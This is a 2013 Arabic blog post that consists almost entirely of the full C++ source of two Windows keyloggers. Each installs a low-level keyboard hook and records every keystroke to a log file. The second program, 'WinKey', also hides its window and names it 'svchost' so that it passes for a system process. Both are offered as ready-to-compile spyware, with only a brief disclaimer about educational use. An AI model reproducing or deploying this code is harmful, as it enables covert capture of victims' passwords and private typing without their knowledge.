السبت، 15 يونيو 2013

سورس كود كيلوجلر ذكي ب c++ source code keylogger in c++

// This code will only work if you have Windows NT or
// any later version installed, 2k and XP will work.
#define _WIN32_WINNT 0x0400
#include <windows.h>
#include <winuser.h>
#include <stdio.h>
// Global Hook handle
HHOOK hKeyHook;
// This is the function that is "exported" from the
// execuatable like any function is exported from a
// DLL. It is the hook handler routine for low level
// keyboard events.
__declspec(dllexport) LRESULT CALLBACK KeyEvent (
  int nCode,      // The hook code
  WPARAM wParam,  // The window message (WM_KEYUP, WM_KEYDOWN, etc.)
  LPARAM lParam   // A pointer to a struct with information about the pressed key
) {
    if  ((nCode == HC_ACTION) &&       // HC_ACTION means we may process this event
        ((wParam == WM_SYSKEYDOWN) ||  // Only react if either a system key ...
        (wParam == WM_KEYDOWN)))       // ... or a normal key have been pressed.
    {
    //  This struct contains various information about
    //  the pressed key such as hardware scan code, virtual
    //  key code and further flags.
        KBDLLHOOKSTRUCT hooked =
            *((KBDLLHOOKSTRUCT*)lParam);
    //  dwMsg shall contain the information that would be stored
    //  in the usual lParam argument of a WM_KEYDOWN message.
    //  All information like hardware scan code and other flags
    //  are stored within one double word at different bit offsets.
    //  Refer to MSDN for further information:
    //
    //  http://msdn.microsoft.com/library/en-us/winui/winui/
    //    windowsuserinterface/userinput/keyboardinput/aboutkeyboardinput.asp
    //
    //  (Keystroke Messages)
        DWORD dwMsg = 1;
        dwMsg += hooked.scanCode << 16;
        dwMsg += hooked.flags << 24;
    //  Call the GetKeyNameText() function to get the language-dependant
    //  name of the pressed key. This function should return the name
    //  of the pressed key in your language, aka the language used on
    //  the system.
        char lpszName[0x100] = {0};
        lpszName[0] = '[';
        int i = GetKeyNameText(dwMsg,
            (lpszName+1),0xFF) + 1;
        lpszName[i] = ']';
    //  Print this name to the standard console output device.
        FILE *file;
        file=fopen("keys.log","a+");
        fputs(lpszName,file);
        fflush(file);
    }
//  the return value of the CallNextHookEx routine is always
//  returned by your HookProc routine. This allows other
//  applications to install and handle the same hook as well.
    return CallNextHookEx(hKeyHook,
        nCode,wParam,lParam);
}
// This is a simple message loop that will be used
// to block while we are logging keys. It does not
// perform any real task ...
void MsgLoop()
{
    MSG message;
    while (GetMessage(&message,NULL,0,0)) {
        TranslateMessage( &message );
        DispatchMessage( &message );
    }
}
// This thread is started by the main routine to install
// the low level keyboard hook and start the message loop
// to loop forever while waiting for keyboard events.
DWORD WINAPI KeyLogger(LPVOID lpParameter)
{
//  Get a module handle to our own executable. Usually,
//  the return value of GetModuleHandle(NULL) should be
//  a valid handle to the current application instance,
//  but if it fails we will also try to actually load
//  ourself as a library. The thread's parameter is the
//  first command line argument which is the path to our
//  executable.
    HINSTANCE hExe = GetModuleHandle(NULL);
    if (!hExe) hExe = LoadLibrary((LPCSTR) lpParameter);
//  Everything failed, we can't install the hook ... this
//  never happened, but error handling is important.
    if (!hExe) return 1;
    hKeyHook = SetWindowsHookEx (  // install the hook:
        WH_KEYBOARD_LL,            // as a low level keyboard hook
        (HOOKPROC) KeyEvent,       // with the KeyEvent function from this executable
        hExe,                      // and the module handle to our own executable
        NULL                       // and finally, the hook should monitor all threads.
    );
//  Loop forever in a message loop and if the loop
//  stops some time, unhook the hook. I could have
//  added a signal handler for ctrl-c that unhooks
//  the hook once the application is terminated by
//  the user, but I was too lazy.
    MsgLoop();
    UnhookWindowsHookEx(hKeyHook);
    return 0;
}
// The main function just starts the thread that
// installs the keyboard hook and waits until it
// terminates.
int main(int argc, char** argv)
{
    HANDLE hThread;
    DWORD dwThread;
    DWORD exThread;
    hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)
        KeyLogger, (LPVOID) argv[0], NULL, &dwThread);
    if (hThread) {
        return WaitForSingleObject(hThread,INFINITE);
    } else {
        return 1;
    }

 }other 



/*
 * WinKey -- A GPL Windows keylogging program. While this program can potentially
 * be used for nefarious purposes, it was written for educational and recreational
 * purposes only and the author does not endorse illegal use.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */

#include <fstream>
#include <iostream>
#include <string>
#include <windows.h>

#define DEBUG 1

#define OUTFILE_NAME "Logs\\WinKey.log" /* Output file */
#define CLASSNAME "winkey"
#define WINDOWTITLE "svchost"

char windir[MAX_PATH + 1];
HHOOK kbdhook; /* Keyboard hook handle */
bool running; /* Used in main loop */

/**
 * \brief Called by Windows automagically every time a key is pressed (regardless
 * of who has focus)
 */
__declspec(dllexport) LRESULT CALLBACK handlekeys(int code, WPARAM wp, LPARAM lp)
{
 if (code == HC_ACTION && (wp == WM_SYSKEYDOWN || wp == WM_KEYDOWN)) {
  static bool capslock = false;
  static bool shift = false;
  char tmp[0xFF] = {0};
  std::string str;
  DWORD msg = 1;
  KBDLLHOOKSTRUCT st_hook = *((KBDLLHOOKSTRUCT*)lp);
  bool printable;

  /*
   * Get key name as string
   */
  msg += (st_hook.scanCode << 16);
  msg += (st_hook.flags << 24);
  GetKeyNameText(msg, tmp, 0xFF);
  str = std::string(tmp);

  printable = (str.length() <= 1) ? true : false;

  /*
   * Non-printable characters only:
   * Some of these (namely; newline, space and tab) will be
   * made into printable characters.
   * Others are encapsulated in brackets ('[' and ']').
   */
  if (!printable) {
   /*
    * Keynames that change state are handled here.
    */
   if (str == "CAPSLOCK")
    capslock = !capslock;
   else if (str == "SHIFT")
    shift = true;

   /*
    * Keynames that may become printable characters are
    * handled here.
    */
   if (str == "ENTER") {
    str = "\n";
    printable = true;
   } else if (str == "SPACE") {
    str = " ";
    printable = true;
   } else if (str == "TAB") {
    str = "\t";
    printable = true;
   } else {
    str = ("[" + str + "]");
   }
  }

  /*
   * Printable characters only:
   * If shift is on and capslock is off or shift is off and
   * capslock is on, make the character uppercase.
   * If both are off or both are on, the character is lowercase
   */
  if (printable) {
   if (shift == capslock) { /* Lowercase */
    for (size_t i = 0; i < str.length(); ++i)
     str[i] = tolower(str[i]);
   } else { /* Uppercase */
    for (size_t i = 0; i < str.length(); ++i) {
     if (str[i] >= 'A' && str[i] <= 'Z') {
      str[i] = toupper(str[i]);
     }
    }
   }

   shift = false;
  }

#ifdef DEBUG
  std::cout << str;
#endif
  std::string path = std::string(windir) + "\\" + OUTFILE_NAME;
  std::ofstream outfile(path.c_str(), std::ios_base::app);
  outfile << str;
  outfile.close();
 }

 return CallNextHookEx(kbdhook, code, wp, lp);
}


/**
 * \brief Called by DispatchMessage() to handle messages
 * \param hwnd Window handle
 * \param msg Message to handle
 * \param wp
 * \param lp
 * \return 0 on success
 */
LRESULT CALLBACK windowprocedure(HWND hwnd, UINT msg, WPARAM wp, LPARAM lp)
{
 switch (msg) {
  case WM_CLOSE: case WM_DESTROY:
   running = false;
   break;
  default:
   /* Call default message handler */
   return DefWindowProc(hwnd, msg, wp, lp);
 }

 return 0;
}

int WINAPI WinMain(HINSTANCE thisinstance, HINSTANCE previnstance,
  LPSTR cmdline, int ncmdshow)
{
 /*
  * Set up window
  */
 HWND  hwnd;
 HWND  fgwindow = GetForegroundWindow(); /* Current foreground window */
 MSG  msg;
 WNDCLASSEX windowclass;
 HINSTANCE modulehandle;

 windowclass.hInstance = thisinstance;
 windowclass.lpszClassName = CLASSNAME;
 windowclass.lpfnWndProc = windowprocedure;
 windowclass.style = CS_DBLCLKS;
 windowclass.cbSize = sizeof(WNDCLASSEX);
 windowclass.hIcon = LoadIcon(NULL, IDI_APPLICATION);
 windowclass.hIconSm = LoadIcon(NULL, IDI_APPLICATION);
 windowclass.hCursor  = LoadCursor(NULL, IDC_ARROW);
 windowclass.lpszMenuName = NULL;
 windowclass.cbClsExtra = 0;
 windowclass.cbWndExtra = 0;
 windowclass.hbrBackground = (HBRUSH)COLOR_BACKGROUND;

 if (!(RegisterClassEx(&windowclass)))
  return 1;

 hwnd = CreateWindowEx(NULL, CLASSNAME, WINDOWTITLE, WS_OVERLAPPEDWINDOW,
   CW_USEDEFAULT, CW_USEDEFAULT, 640, 480, HWND_DESKTOP, NULL,
   thisinstance, NULL);
 if (!(hwnd))
  return 1;

 /*
  * Make the window invisible
  */
#ifdef DEBUG
 /*
  * Debug mode: Make the window visible
  */
 ShowWindow(hwnd, SW_SHOW);
#else
 ShowWindow(hwnd, SW_HIDE);
#endif
 UpdateWindow(hwnd);
 SetForegroundWindow(fgwindow); /* Give focus to the previous fg window */

 /*
  * Hook keyboard input so we get it too
  */
 modulehandle = GetModuleHandle(NULL);
 kbdhook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)handlekeys, modulehandle, NULL);

 running = true;

 GetWindowsDirectory((LPSTR)windir, MAX_PATH);

 /*
  * Main loop
  */
 while (running) {
  /*
   * Get messages, dispatch to window procedure
   */
  if (!GetMessage(&msg, NULL, 0, 0))
   running = false; /*
       * This is not a "return" or
       * "break" so the rest of the loop is
       * done. This way, we never miss keys
       * when destroyed but we still exit.
       */
  TranslateMessage(&msg);
  DispatchMessage(&msg);
 }

 return 0;
}

ليست هناك تعليقات:

إرسال تعليق